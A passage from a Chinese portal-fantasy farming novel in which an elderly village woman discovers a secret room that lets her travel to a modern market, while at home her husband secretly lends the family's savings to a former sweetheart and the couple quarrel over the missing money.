她这话一出,全桌人一顿,看向刘大江旁边万春兰的位置还剩下个空碗,真就忘记给万春兰留饭了。
刘大江冷哼了一声,继续夹菜扒饭,虽然没说话,但气场低压的吓人。
二儿子刘劲水脸上露出懊悔,拿过爹旁边的空碗,从自己碗里匀了一大筷子饭出来。
“你看你怎么分的,都没给娘留出来。”大哥刘劲山瞪了媳妇儿一眼,也起身分了一筷子饭。
罗菊香委委屈屈没吭声,这不一时忘了吗,站起来也跟着拨了一筷子。
除了刘大江,全家人一人碗里拨了一点,匀出来一碗饭,然后放好,等着万春兰回来吃。
这下全家人都消停吃饭了。
吃完一顿实成的干饭,一家人感觉身上都满满的劲儿。刘劲山和刘劲水两兄弟精神抖擞挑起水桶扁担,准备出门去上游打水。
连着几个月没下雨,村里的河细成了麻绳,眼看要开地种春苗呢,村里水不够,村里的青壮们就商量着去十几里外的上游打水,回来湿地,怎么着也得把春苗种下去。
村里一起去打水的人来叫了,两兄弟挑上水桶扁担出门,两个儿媳妇也没闲着,马荷花收拾着脏衣服去河边洗衣服,福哥和小禾帮娘亲抱着脏衣裳,罗菊香隔壁娘家这两天有远亲过来,领着孩子出门回娘家见亲戚去了。
家里人都出门了,刘大江在家里转了一圈,扛起锄头,打算上地里看看去,刚出门口,撞上一个人。
他定眼一看,
“红云?”
来的是一个妇人,虽然年纪也不小了,但能看出来面容不错,脸上不像万春兰似的又粗又黑全是皱纹,反倒还白嫩,一看
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就是没怎么劳作过的。
孙红云一副特别着急的样子,眼圈里带着泪,一看见刘大江,眼泪就忍不住滚了出来。
“大江哥!”
刘大江看着孙红云这样子,立马放下锄头担心道:
“你这是怎么了?”
孙红云只看到刘大江就忍不住哭了起来,给刘大江急的,围着她不停关心:“怎么了?出什么事了?”
孙红云也是石磨村人,小时候和刘大江爹妈家住的比较近,是邻居,早年在村里出了名的标志。
当年他也是惦记过孙红云的,只是可惜当时家里穷,孙家没看上他,给孙红云说了个镇上的杀猪匠。
后来孙红云嫁人后搬去了镇上住。俩人便有十来年没怎么见了。
屠户有钱有手艺,孙红云日子过的不错,也生了一儿一女,儿子也争气,打小读书,读的特别好。
但是在五年前,屠户生了一场急症去了,留下孙红云孤儿寡母三人,这一下让一辈子没做过活、操过心的孙红云天塌了。
好在这时候孙红云的儿子林文成已经长大了,没让人吃绝户。
靠着屠户留下来的遗产,母子三人的生活原本还过的下去,但是林文成要一直读书的,每年不仅要交束脩,笔墨纸砚也是一笔不小的费用,尤其在两年前林文成考过县试后,去了城里书院读书,花销直接翻了几倍。
屠户死了家里没了进项,她又不会挣钱,日子便一日日捉襟见肘起来。
一年多前,一次孙红云回村里娘家来借钱没借到,在回去路上哭,被刘大江撞见,他就帮了孙红云。后来又有几次,刘大江找借口去给孙红云帮忙,只是一直没让家里人发现。
孙红云住在镇上,两人平日往来不多,她此刻来找自己,一定是遇上特别棘手的难事了。
孙红云哭得万分焦急,
“成儿病了!他前些日子夜里读书吹了风,一直扛着不说,结果一下子病倒了,去看大夫说,拖得久了要好好喝药调理,不然的话怕是会留下病根,那些药合起来要一两银子,我娘家那里一文钱都不愿意借给我!我真是没办法了,你也知道我......”孙红云说着就哭的说不下去了。
刘大江面上一肃。
“你等等。”
他回去老屋内,到床头去翻钥匙,今早老婆子出去没带钥匙,他一下就找到了,拿钥匙打开钱箱,从里面拿出一两铜串子,想了想,又拿了一串,出来给了孙红云。
孙红云看着刘大江递过来的二大串铜钱,满脸感激的又直掉眼泪:
“大江哥!谢谢你,我......”
刘大江摆摆手安慰,
“你同我客气什么,去拿着赶紧给成哥儿抓药。”
孙红云感激不已,泪眼婆娑的看着刘大江,
“你家里......”
刘大江挺着胸膛,
“这家我说的算,旁的你不用管,快去给成哥儿抓药,看病重要!”
5. 第 5 章
“呜...呜呜......”
万春兰哭的难受,眼泪噼里啪啦往下掉,她没看见,自己眼泪掉进衣襟的里面一直没发现的黑色石头上,瞬间被吸收了进去,下一秒人便在墙角消失了。
“呜......”
糊着泪水的眼缝里扫到一片白墙,万春兰突然哽住——
她胡乱擦掉眼泪,
四周是熟悉的白花花的墙壁,和那扇发着光的门。
啊?!她怎么又回来了?!
万春兰一整个彻底惊呆住,连哭都忘记了。
视线看向脚边,她的野菜篮子都还在,四周只有白花花的墙壁,发光的门也还在。
万春兰瞪大了眼睛来来回回看,突然她看着门的方向顿住。
不对。
门的位置变了。
她记得之前门是在左边的,现在却在右边。
她看向脚边的菜篮子。
她记得很清楚,篮子把手是冲着门的方向的,现在把手冲着的那一面没有门,门跑到屁股那面去了。
她没记错!
门的位置确实变了!
万春兰撑着地面站起来,怀里的包子滚到了地上去,她下意识蹲下去捡起装好又抱在了怀里。
万春兰上下左右来回又扫视了好几圈,确定这白屋子里除了她没有第二个活物。
她是真的糊涂了。
她看向变了位置的门,一人宽的门散发着柔和的乳白色亮光。
万春兰走到门前,她皱着眉盯着门,有些忐忑的伸手推开——
眼前白光一闪——
随即万春兰出现在了一片林子里。
万春兰抱着包子一阵的茫然,她打量着林子,昂头看到旁边一段有滑拉痕迹的山坡,突然瞳孔猛缩。
她惊呼出声,使劲儿探头,慌慌忙忙找路迫不及待的从旁边爬了上去,跑到跟前看到一地被挖出的野菜坑土渣,以及一把眼熟的不能再眼熟的铲子!
她捡起铲子。
“啊呀!”万春兰控制不住的大叫出声。
这是她的铲子!
这就是她滚下来的山坡啊!
她回来了!
她回到人间了!!!
“啊呀!啊呀!”万春兰握着铲子激动不已,简直不敢相信自己竟然回到了人间!!
她不是摔死升天了吗,难不成是神仙老爷们听到她的祷告给她还阳了?
万春兰使劲儿掐了自己一把,疼的一激灵。
疼!她能感觉到疼!
她低头捡起地上一块尖锐的石头,撸起袖口,冲着自己手臂上使劲儿划了一下。
尖锐的疼痛感之下,小臂被划破一道口子,流出殷红的血珠。
“有血!流血了!我没死?!我活了!”
万春兰丢掉石头,整个人兴奋的状若癫狂。
“我没死!我活了!我没死!哈哈哈哈!”
幸好这深山野外的周围没有人,要不看到万春兰这样指定以为她中邪发疯了。
蹦跳中怀里的包子掉到地上,万春兰狂喜中看着地上包裹着塑料袋从神仙地带回来的包子,脑后一片清凉。
她没死,她还从神仙地带回了三个大肉包子。
万春兰蹲下身捡起地上的包子,心脏跳的飞快,跳的她感觉到心口处一阵烧人的火热,热的像是有什么东西在烫她一样。
突然胸口的皮肉猛地一下刺热,万春兰受不住“嘶”声扒开衣裳瞧,发现左边靠近心口的位置多了一个鹌鹑蛋大小的黑痣。
啊?!这是什么!
她吓的伸手去搓,下一瞬,就感觉眼前晃了一下,似乎有一层水波纹,人又回到了白屋子里。
万春兰瞠大双眼,她飞快的看向四周,发现这一次,门又回到了左边。
万春兰紧紧盯着门,这次她没有犹豫,走到门前,双手推开——
眼前白光褪去,嘈杂的声音进入耳朵。
“特价榴莲,特价榴莲19.9一斤!”
“鸡蛋、鸭蛋、鹅蛋、皮蛋、鹌鹑蛋、松花蛋、各种蛋!”
“来——青菜特价两块,两块!”
“进口草莓,二十一盒!”
是满满的吃食的神仙地。
万春兰看着熟悉又不熟悉的菜市场,浑身战栗起来。
---
那白屋子有左右两扇门!
一扇通回人间!一扇通往神仙地!
从人间进去,就是左边通往神仙地的门!从神仙地进去,就是右边通回人间的门!
万春兰眼皮眨的飞快,抬手隔着衣服放到心口黑痣的位置。
她感觉到眼前微震要浮起水波纹,但浮到一半,又停了下来。
万春兰急促的呼吸了几下。
刚刚那一下的异样,让她意识到,就是莫名出现的这颗黑痣让她能进入到白屋子的。
但刚刚似乎哪里出现了问题没让她进去。
哪里有问题?
万春兰回顾先前几次进入白屋子,好像都是在周围没有别人的情况下。
要找个没人的地方才能进去?
没人的地方......没人的地方......
中间她的手一直放在黑痣的位置上,试了好几次,都是在马上要荡起波纹的时候又停住了。
万春兰四处找没人的地方,找到了安全通道口附近的卫生间里,走进去被镜子里清晰无比的照影还吓了一跳,但随即她就平复了下来。
这里是神仙地,有什么东西都不奇怪。
她走进卫生间,发现里面有数个小门。
最里面的小门是敞开的,那里没人,她走进去关上小门,差一点踩到坑里,连忙扶着墙稳住了。
她打量了一圈这个奇怪的小隔间,地上有个坑,墙上还挂着个白色的桶子,不知道是干什么用的。
反正神仙地好多东西都是她没见过的。
万春兰暂时没时间考虑这是什么地方,周围终于没有人了,她按着黑痣的位置,脑子里想着白屋子,随即水波纹荡起,一阵恍惚之后,这次终于成功又回到了白屋子里。
果然是要在没人的地方就可以进来了!
看自己又成功进到了白屋子里万春兰兴奋不已,她赶忙去看门,这次门在右边,她快步走过去推开门,唰——人又回到了树林里。
如此来回实验了几次,当再一次成功回到白屋子里,万春兰涨红着一张发亮的面孔——
苍天呐!她竟然可以通过白屋子随意进出两界!
---
“仙姑!”
杨婷一抬头。
“咦?是你啊大娘。”
杨婷惊喜的看着万春兰。
是那个她给了三个包子的老太太。
老太太眉开眼笑的,手臂上还挎着个菜篮子。
先前她怀疑这老太太是不是病了走丢了,越想越不安心,她还出去找了一下,结果没找到人,这事儿一直隔着她,隔了几个小时这会儿看到老太太找回来了,她惊喜之下看老太太眉开眼笑的样子,感觉又不像有病了似的。
“大娘你没事儿了?”她笑着问了一声。
“仙姑!我来谢谢您。”万春兰满心高兴的看着杨婷,把满篮子的野菜递给她。
“谢谢您的包子,您的包子太好吃了,这些野菜都是早上刚挖的!希望您别嫌弃。”
杨婷看老太太跟她叽里咕噜说了一堆,还从怀里拿出塑料袋包着的包子,然后把一菜篮子的野菜递给她。
杨婷一下就看明白了,这老太太是拿野菜来谢她早上给她包子的?
杨婷睁大眼看着万春兰:“大娘,你要把这些野菜给我?”她看了看菜篮子里,好像是一篮子荠菜。
万春兰笑得眯眯眼,把野菜往前递。
还真是来谢她的!
杨婷连摇着手往回推菜篮,颇为受宠若惊的大笑道:“不用不用,哎哟!你这是干什么,说了请你吃的,不用给我,您自己拿回家吃吧,我这不缺菜。”
万春兰睁大了眼睛努力听,看胖仙姑哈哈大笑很高兴的样子,一串话里听懂了什么“家”,还有“菜”字。
万春兰连连点头:“对对,是我家那边的菜,给您,您尝尝。”
“别别别,真不用大娘,就几个包子,没事儿啊!”
见胖仙姑摇手不要,但并没有嫌弃的模样,万春兰干脆蹲下来,把竹篮里的野菜抱出来小心放到摊位的地上。
“哎呀大娘,你这是干嘛!”
万春兰放好野菜,起身冲着胖仙姑又感激一鞠,随后拿起空了的菜篮子,一步三笑的转身走了。
“大娘,那个,没事来吃包子啊!给你优惠!”
杨婷目送着万春兰挎着菜篮子脚步轻快的走远了,脸上压不下去的笑意,嗨呀,真是的,还回来给她送菜。
她收拾起地上那一大捧荠菜,拿到鼻子下闻了闻,眼睛一亮。
嗯!好正的荠菜味儿,长得这么新鲜,一看就是地里刚挖出来不久的,不管包包子还是包饺子肯定都好吃。
她就随手给了老太太三个包子,根本没想过什么回报,谁能想这大娘隔了几个小时,竟然会拿一篮子菜回来谢她。
杨婷内心里感慨十足,想到最开始自己语气还冲老太太,杨婷顿时心里这个后悔啊,今晚半夜想起来都得起来扇自己两巴掌!
---
万春兰把野菜送给了胖仙姑,了却了一桩心事,心里头畅快无比。
此时此刻她走在这菜市场里,心态和先前完全不一样了,先前在这里,是又害怕又迷茫,整个悬着的心就没下来过。
现在不一样了,现在她知道自己能回家了,一下子心里就有底了。
方才她在白屋子里独自疯癫了好一阵,她虽然不知道自己是怎么得到这间白屋子的,但既然有了,说明这是自己的福泽。
这心里一有底,她再看着神仙地,就哪哪都新鲜,哪哪都好奇,脑子都活络多了!
这神仙地如此多摊位,大家在这里买卖货物,一看就是个做生意的地方嘛。
那一排排摊位上堆摞的干净漂亮、鲜亮饱满的瓜果蔬菜、米面粮油,还有那些一看就香的不行的肉!
不知不觉万春兰又找了个地方蹲下看了起来。
哎哟,那个人拿着一个好长的杯子,还插个细管在嘬。
那个人
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的指甲怎么是黑色的!
咦?这人怎么在对着空气说话?
突然“啪嗒”、
万春兰一愣,低头看到竹篮里有个银亮的像铜钱似的东西,她抬头,看到面前站着个大约八九岁的小仙人,穿着一套白蓝相间的衣服,胸前系着一条红绸子,身后背着个鼓鼓的大包。
跟她对视上,小仙人抬手挠了挠耳朵,什么也没说掉头跑掉了。
万春兰看着小仙人跑掉的身影。
她低头,捡起菜篮里的一块钱的硬币。
这是什么?
亮亮的,两边还有花纹,怪好看的。
看到上面有个“一”,
万春兰横看着这个阿拉伯数字1的一块钱硬币,脑中福至心灵,这该不会是银子吧!
她连忙抬头找那个小仙人,小仙人早已经不在了。
她把硬币拿到嘴边咬了一下,特别硬,咬不动,不是银子。
发现不是银子,万春兰反而松了口气。
不是银子,那肯定也是好东西。
研究了好半天,万春兰实在好奇,这币子能干嘛用的。
她走到一个卖油盐酱醋的摊位前。
她方才听见过来这里买东西的,有盐、糖、酱,她猜这里应该是个卖调味的摊位。
万春兰站在摊位前。
“要买点什么?”老板奇怪的打量万春兰一圈,礼貌开口问。
万春兰壮着胆子,伸手把一元钢镚给老板看:
“仙长,请问,这个能做什么用?”
“啊?”
老太太一串方言过去,调味店老板没听懂,但是听懂了语气,又看她伸手递的一元钱。
“你要买什么啊?”他找出来几个放到万春兰面前:“这盐,酵母粉,味精,还有这个,都是一块钱,你要什么啊?”
万春兰看老板拿出来几样东西。
她来来回回看,上面有字,但是她看不懂。
掌柜把这些放到她跟前,是让她挑的意思?
她试探性的拿起一包味精,看向老板。
“要味精啊。”
老板点点头,把其余的重新放回位置,收了一块钱。
啊!万春兰瞬间睁大眼明白了,这是铜钱!可以买东西用的!
万春兰快速眨动眼睛,小心的看着掌柜问:
“仙长掌柜,敢问这个是做什么用的?”
看仙长听不懂,万春兰拿着味精,对着嘴巴,做出一个吃的动作,“这是吃的吗?”
老板点头:“是啊,炒菜用的味精嘛。”
万春兰努力听,听到一个菜字!
“这是味精,那上面写着味精嘛。”老板以为这老太太问他这是不是味精,他指着上面的字,万春兰看向大大的味精两个字,露出清澈的眼神。
不是吧这老太太不认字啊?
他急的直点头:“是,是味精,炒菜用的,”正好他旁边是个卖锅碗瓢盆的,他借过来一个锅铲,拿着铲子在锅里夸夸炒了两下,然后拿味精撒里面,“是味精,炒菜用的!”
万春兰看懂了!
这是吃的!
可以炒菜用!
她惊喜之下连忙千恩万谢的给老板鞠躬:“多谢仙长,我晓得了!这是炒菜用的,谢谢仙长!”
道完谢,万春兰捧着一小袋味精满脸新奇的走了。
调味料老板把锅铲还回去,这一块钱给他忙叨的。
万春兰欣喜于在这神仙地的第一次交易,甚至可以说是兴奋。
她用一个圆币,换了这一包炒菜的调味。
她可以在神仙地买东西呀!
木盆那么大一颗的白菜!
又白又香的大肉包子!
肥腻腻直滴油的烤鸭子!
那么说这些她都可以买了?
光是想想万春兰就心痒难耐了。
买东西就得赚钱!
她在神仙地看了半天,没发现这里有人用铜钱或者金银,好像这里有规定要用的钱。
怎么换这里的钱啊?要不她也试试在这里做生意?
她到处看,看来看去感觉这里大多卖的都是吃食。
家里的粮食肯定是不能动的。家里人自己吃都吃不饱,更不可能拿出来卖了。
那要不挖些山里的野菜山货来卖试试?
试试又不怕的!卖不出去她就拿回家自己吃,然后她再想别的法子。
主意一定,万春兰心下振奋掉头就找回到卫生间回去,穿回了老家这一边。
一回到这边,万春兰就发觉视线里光线一下暗了好多,她抬头找天上的太阳,
哎哟!太阳都坠到屁股后面快落下山了!
万春兰才惊觉自己这一折腾竟然快过去了一整天。
“都这么晚了!”
“不行不行,得出林子回家了。”
万春兰也不挖野菜了,这时候再不出林子,等太阳下山她可就看不见了。
她按了按黑痣的位置,这白屋子就在她身上,也跑不了。
她一整天没回家,家里人不急死了。
这么想着,万春兰也着急了,赶紧找路出林子回家去。
6. 第 6 章
赶在日落之前,万春兰回到了村子。
“阿奶!”
还没到家门口,守在门口的小孙女看到万春兰回来,撒腿跑了过来抱住万春兰的大腿,小脸上焦急的不行。
“阿奶!你怎么现在才回家啊!”
“阿奶你衣裳怎么擦破了?你摔跤了吗?”
“噢哟!”万春兰蹲下来,搂着刘小禾的小身子,捧着小脸,看了又看,摸了好几遍。
“回来了回来了,阿奶回来了。”经过白日里这一遭大起大落,此时此刻看到真真切切的小孙女,万春兰双眼顿时涌上一层热雾,她抱住小孙女的身子忍不住哽咽道:“阿奶的好孙女儿,可想坏阿奶了。”
“阿奶,你怎么了?”感到阿奶好像哭了,刘小禾惊讶的伸手抱住阿奶,两只小手在背后一下下抚摸万春兰的后背稚声安慰,“不怕不怕,阿奶,谁欺负你了吗?小禾帮你去打他!”
万春兰破涕为笑,她抻着袖口擦两下眼睛,放开小孙女问:
“你爹娘大伯他们呢?都在家吗?”
刘小禾点头:“嗯!大家都回家了,阿奶你再不回家,我们就要出去找你了!”
这时刘家大门里,刘家人听到外面的动静也都出来了。
“娘!你可算回来了。”
“哎呀娘,你这一天跑哪去了?担心死我们了。”
“阿奶阿奶!你去哪里啦?”
两个儿子、儿媳妇、三个孙子,陆续都围了过来,万春兰一个个看过去,想到白天在神仙地时以为自己死了再也回不了家了,现在看见家里人都在跟前,刚擦掉的眼泪又冒了出来。
“娘!怎么了这是?”
“出什么事了娘?”
万春兰赶紧擦掉眼泪笑出一脸皱纹的掩饰道:“没事没事!哎哟我这回来的时候,不知道个什么虫飞我眼睛里去了,死活揉不出来,一眨眼就酸的不行。”
“阿奶,阿奶,你蹲下我给你吹吹。”刘小禾拽着万春兰的衣摆垫脚撅起嘴巴,原来阿奶是眼睛里飞进去小虫虫了,她给虫虫吹出去。
万春兰抚摸着小孙女毛绒绒的脑袋,心里软的一塌糊涂。
谢天谢地。
还是回家好啊!
这时刘大江姗姗来迟踱到大门口,看着一家人站在门外围着才回来的万春兰,板着一张脸不高兴道:“都堵在大门外不回家干什么。”然后瞪万春兰:“还知道回来,你看看都什么时辰了!”
万春兰如今看刘大江,都听出一股子关心的味道。
她挂着满脸笑:“怪我,怪我,忘了时间了。”随后招呼家里人都回家,“回家回家,走,都回家去。”
“娘,你这一整天干什么去了?我和大哥都打算出门上山找你去了。”
“是啊娘。”
万春兰有今日这遭,如今家里人说什么都高兴,连看家里的桌椅板凳她都高兴。
“我上山里挖野菜去了。”
“挖什么野菜挖了一天?”
“是啊娘。”
家里人下意识看向万春兰空着的菜篮,挖了一天野菜,菜呢?
刘大江一看万春兰手里空荡荡的菜篮,立时又甩起脸子:“你唬我呢!挖一天一根野菜都没挖到,菜呢?让你吃了?”
万春兰一顿。
看全家人都瞅着她,万春兰略微迟疑,两只手攥到了一起。
野菜当然是送给神仙地那边的胖仙姑了。
可这件事要是解释起来,家里人能信吗?
主要是这事太玄乎了!
这种事情要不是发生在她自己身上,换到另外任何一个人身上,她指定以为那人是中邪了!
结果现在这种玄乎的事情发生在自己身上了,她说出去,家里人八成也得以为她中邪了。
这背上中邪的名声可绝对不是什么好事。
这要是传出去了,往后村里人怎么瞧她?怎么瞧他们家?
万一到时候再报官府给她抓起来治个罪什么的,那可真是后悔都晚了!
多一事不如少一事,万春兰看着家里人,想了想,觉得还是先不要说的好。
想通这些,万春兰心头一定,便开口跟家里人说:“我一早出门去山上挖野菜去了,后面挖完之后,我看挖了不少,时间也还早,就寻思去镇上看看能不能卖掉,换两个大钱回来。”
“啊?娘你去镇上了啊。”
“去镇上了?换了几个钱?”
万春兰面不改色:“没到镇上,我在去镇上的路上,碰到一个坐大马车出行的老夫人,她见我挖的野菜新鲜,给我换了三个肉包子!”
“肉包子!”
一听到肉包子,几个小孩儿全都围了上来,万春兰从怀里把神仙地带回来的三个大肉包子拿了出来。
此时天还没黑下来。
这三个雪白雪白的肉包子一亮相,立时就引得几个小孩子的惊呼——
“好白好白的包子哇!”
“肉包子!阿奶阿奶~我想吃~”
“我也想我也想阿奶!”
全家人都围过来看万春兰换回来的包子。
不要说小孩儿,大人们一见这包子也是都忍不住惊叹。
这包子白的连个黑点都没有,一看就是富贵人家才吃的起的。
“哎哟,娘,这包包子的面可磨的真细,蒸出来的包子这么白。”
“是呢,闻着也香,肯定用的都是好馅料!”
“诶娘,这装包子的是什么布袋子?怎么长这个样。”
二儿子刘劲水对装包子的塑料袋好奇上了,他搓着两根手指摸塑料袋,一碰还嘶嘶响的。
“我也不知道是什么布料,那老夫人给我包子时就装包子的,许是那些有钱人们用的。”万春兰一股脑全都推到有钱老夫人身上,反正有钱人好东西多着呢,有个没见识过的布袋子又没什么稀奇的。
果然,刘家人一听是有钱人的东西,立时就接受了,一点没生疑。
纷纷对这“有钱人的布袋子”好奇了起来。
塑料袋被轮番摸的嘶嘶响。
“这是什么布料啊,真奇怪,怎么摸起来是这个声响?”
“这还真从来没见过,县城里也没见有人过啊。”
“那老夫人肯定是大地方来的贵人!路过咱们村儿正好叫娘碰上了。”
“是呢是呢。”
刘大江也走了过来,跟着摸塑料袋。
大人们好奇塑料袋,小孩子全盯着肉包子。
“包子,包子,阿奶,我想吃包子。”
“阿奶,这个包子是今天晚上吃的吗?”
“吃!阿奶拿回来就是给你们几个吃的。”
“哦~哦~晚上吃包子咯!”
万春兰看几个孙儿亲的不行,问儿媳妇们:“做晚饭了吗?”
“还没呢,等你呢娘。”
“那赶紧做上饭,一会儿天黑了。走走走,跟我去拿米煮饭。”
万春兰转身去放粮食的屋里,两个儿媳妇去拿上饭盆跟过来,打开米缸盖子,只一眼,万春兰就发现米缸里的米不对。
“早上你们挖了几勺米?”
罗菊香和马荷花怕婆母以为是她俩偷偷多煮了粮食,赶紧小声说:“今早是爹挖的米。”
死老头子!趁她不在家,一顿挖这么多米!
万春兰皱了下眉,又松开了。
算了,多吃就多吃了吧。
今天她对家里人是包容到底了。
她按照平时晚上的量挖好米,柔声跟两个儿媳妇说,
“简单弄个菜,把包子也蒸上。”
“好的娘。”
看婆母并没有追究早上多吃了粮食的事,两个儿媳妇都高兴起来,端着粮食就去收拾做晚饭去了。
罗菊香去淘米,马荷花拿了个盘子去装包子,刘大江看着那三个雪白的包子突然说:
“今天家里吃了腊肉,这包子留着明天再吃吧。”
“什么?今天吃肉了?”万春兰瞪向刘大江。
刘大江一顿,随即一脸不高兴的冲着万春兰冷着脸道:“家里都多长时间没开荤了?天天熬的人走路都没力气,我做主,今早炖了一截腊肉。谁叫你个老婆子等你半天也不回来。”
万春兰吸了吸气。
“...行了,就当今天过节了。包子也蒸上吧,都答应给孩子们吃了,也不差这一晚上。”
“哦~好阿奶~”
“阿奶万岁~”
刘大江瞅了眼包子,想说什么,没说出口,最后只哼一声。转头去把儿子手里的塑料袋要过来,大爷的往院子椅子上坐下开始磋磨塑料袋。
没整两下,手指头嘶啦给塑料袋捅破个大洞,刘大江瞪大眼,旁边的孙子二宝大叫道:
“阿爷!你把布袋子弄破了!”
刘大江脸上挂不住,哼一声扔了塑料袋。
“什么破玩意,一点都不结实!都赶不上家里的麻布袋子。”
万春兰看着被弄坏丢到地上的塑料袋,当下一阵心疼的捡起来,看死老头子气的嘶牙。
胖仙姑就给了她一个!虽然神仙地遍地都是这种布袋子,但也不是随便能拿的,得买东西才给一个!
败家死老头子!那手指头就那么欠!以后再有什么东西都不给他!
“娘,把这布袋子给我再看看呗。”二儿子刘劲水过来,看着破了的塑料袋也是一脸心疼。
万春兰狠狠瞪了刘大江一眼,看二儿子跟她讨要,抬手给了。
“好好揣着,别随便拿出去给别人看。”
“诶,我知道娘。”
刘劲水高兴的接过塑料袋,珍惜的拿在手里上一边研究去了。
万春兰摸了摸放味精的地方,结果没有了。
她一惊,连忙摸全身找,哪里都没有。
“娘,你找什么呢?”
万春兰一顿,摇摇头:“哦没有。”
她又暗自找了一遍,真的没有了,万春兰心里懊悔,莫不是掉了?她怎么这么不小心!
很快晚饭做好了,刘家人在院子里摆好桌椅碗筷。
天边被落日染成绚烂的橘粉色。
大方桌端上一盆熬好的杂粮粥,一碟清炒小白菜,一碟腌鱼,一碟日常腌酱菜,还有一碗早上一直留给万春兰的干饭,然后热腾腾的三个肉包子。
今晚这包子是主角。
全家人看着桌上热气腾腾的白面包子。
包子热完后显得更白了,表面被水汽蒸的更胖乎,其中有一个被万春兰咬了一口,露出里面浓油赤酱的馅儿,热过后的馅儿香味飘出来,把一桌子寡淡的饭菜全压下去了。
几个小孩子鼓动着鼻子使劲闻空气里的香味。
“好香,肉包子好香啊!”
万春兰从弄丢了味精的冒失中走出来,高兴的看着一家子人。
“吃饭!”
一共三个包子,老大家分一个,老二家分一个,剩下那个被她咬了一口的,分到自己和老头子这边,万春兰想到还有嫁出去的女儿,唉
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,可惜今天没让小慧一家也尝尝这神仙地的肉包子。等下回,她换到神仙地的钱,给小慧家买个送去一个。
万春兰分完包子又挨个给每人碗里分满稀饭,她把早上留给她的那碗干饭也都给全家人分了,拌到粥里吃。
刘大江拿起被咬了一口的肉包子,咬了一大口下去。
两下老脸就鼓了起来,腮帮子嚼的飞快。
“嗯!不错,这包子好吃。”
看爷爷吃的香,两家小孩子们馋的口水都流出来了。
“娘!娘!快分包子,我想吃。”
“你个小馋鬼,来!这块给你。”
罗菊香和马荷花笑着分包子,分到每个小孩嘴里,都迫不及待张大嘴巴,一口带着肉馅儿的白面包子入口,顿时香的小孩子们亮曝一双眼。
“好香!好好吃啊!”
“哦~!哦哦~!”好吃到手舞足蹈。
“哇!阿奶!你太厉害了,换了这么好吃的包子!”
万春兰乐的眼睛都看不见了。
她看着家里人吃饭,看得满心高兴,
她自己今天就吃了一口包子,回来后喝了两碗水,刚才做饭的时候还一阵饿。
但这会儿看见家里人吃饭的吃的高兴,她自己都感觉不到饿了。
“你还吃不吃了。”
旁边刘大江拿筷子敲她的碗,万春兰低头,看碟子里剩了两口的包子皮。
她摇头,继续看孩子们吃饭,“你都吃了吧。”
刘大江一点不跟她客气,夹走就塞嘴里吃了。
“阿奶,你快吃饭呀。”
“诶,诶,吃饭。”
吃饭间,万春兰问家里人今天都干了什么,家里人你一句我一句的说今天都干了什么。
万春兰听得津津有味,脸上的笑纹就没松下去过。
刘家人发现今天万春兰心情特别好,说什么她都笑,带动的家里人兴致也高,
就连刘大江都说了几句。
其乐融融的一顿晚饭,吃到天黑了才结束。
收拾洗涮好,天也彻底黑了。
农家人晚上都不点灯的,基本天黑就洗洗回屋里睡觉了。
两个儿子媳妇领着孩子各自回了两边屋里,刘大江和万春兰也回了自己的老屋。
刘大江今晚上吃的舒服,回屋脱了衣裳鞋子上榻一躺,张口打了个大哈欠,闭上眼就准备睡觉了。
万春兰不想睡,跟家里人团圆的吃了一顿晚饭,这会儿回屋里静了下来,她的心又飘到神仙地去了。
她起身去柜上拿了家里的油灯。
黑暗的屋子里突然亮起了亮光,床上要睡觉的刘大江睁开眼,看见万春兰点起了油灯。
刘大江:“你点灯干什么?”
万春兰持着油灯到枕头后翻出柜子钥匙。
“我数数咱家的钱。”
刘大江腾地坐了起来。
“大晚上的你数什么钱!”
“我数数怎么了。”万春兰没管刘大江转身打开柜子。她数钱的时候脑子动的快,她得好好想想神仙地的事儿。
刘大江突然过来,把柜子锁扣上,一口吹灭了灯。
“给你闲的!赶紧睡觉!”
眼前一片漆黑,万春兰什么都看不见,她吼刘大江:“你犯什么毛病!”
“我看你才犯毛病,大晚上的要看钱,看什么钱,赶紧睡觉。”
虽然看不见,但住了几十年的老屋了,闭着眼也能摸清哪是哪,万春兰使劲白楞刘大江一眼,握着灯摸到门前,打开门,到院子里扒拉扒拉锅底,重新点亮灯。
刘大江看她又点了灯回来开柜子,
跳起来冲着万春兰发火:“你个老婆子大晚上犯什么邪!今天一走一整天不回家,让全家人跟着担心,晚上回来了还不消停,你想干什么!”
万春兰莫名其妙,她就数个钱怎么了?至于他这么跳脚?他才是大晚上的犯邪风吧!
她盯着刘大江眯起眼,转身就去开柜子。
这死老头子不对劲,
她非要打开柜子看看怎么了!
刘大江过来又要抢钥匙,万春兰眼疾手快错过身顶了他一下,把柜子打开了,
刘大江一个不注意被老婆子顶到一边,回头见她把柜子打开了,伸手就要扣上,万春兰一巴掌呼到死老头子手上,
“刘大江!你是不是干了什么亏心事!”
这话一出,刘大江顿时像被砸了脚的鸭子,气急败坏的指着万春兰骂:“你个死老婆子张口就胡来!我干什么亏心事了我!”
“你没干亏心事,干嘛不让我开柜子!”
“大晚上的你开柜子干什么!”
“晚上怎么了?谁规定的晚上不能开柜子了?我开自己家柜子谁敢说不对!”
她指着刘大江质问:“你干嘛不让我开柜子!”
刘大江被堵的说不出话,涨红一张老脸,大哼一声摆手:
“你开!随便你开!”
我当然是要开!
万春兰转身拉开柜子,柜子最里面有个两只手掌大小的木匣子,就是他们家装钱用的,她把钱匣子抱了出来。
刘大江看着万春兰把钱匣子拿出来,眉心不停跳动,脚下站立不安,绷着一张老脸不说话。
万春兰瞥他一眼,抱着钱匣子放到桌上,油灯放到一边,在油灯的照亮下,万春兰打开盒盖,一看里面,顿时一口凉气窜到头顶,
“刘大江!家里的钱呢!怎么少了这么多!”
7. 第 7 章
东边厢房里,大儿媳罗菊香给孩子们掖被子,扭头看向门窗,抬手碰碰丈夫刘劲山,
“诶,你听,爹娘是不是吵起来了?”
“嗯?”
两口子支棱耳朵听,大宝二宝也从榻上翻起来,趴着听。
对面西厢房,马荷花也拍了拍丈夫,刘劲水玩塑料袋的手一顿,一家四口全扭头看向门口。
天黑夜静,大晚上,都要睡觉休息了。
老屋里突然炸开了锅——
“刘大江!你不给我说明白,我跟你没完!”
万春兰怒视着刘大江尖叫!
钱匣子里,整整少了两大串铜钱!那可是两贯钱!相当于二两银子!
买米能买四石!
猪肉五十文一斤,全是带肥膘的能买三十多斤!
烧饼两文钱一个,能吃半年!
抵的上全家一年的头子钱!
“钱呢!哪去了!”
她说这死老头子怎么拦着不让她开柜子,原来是遭了家贼了!
刘大江见事态已发,索性也不挣扎了,别开脑袋嗡声说:“我拿去借人了。”
“借给谁了!”
万春兰气的哐当把钥匙砸在地上。
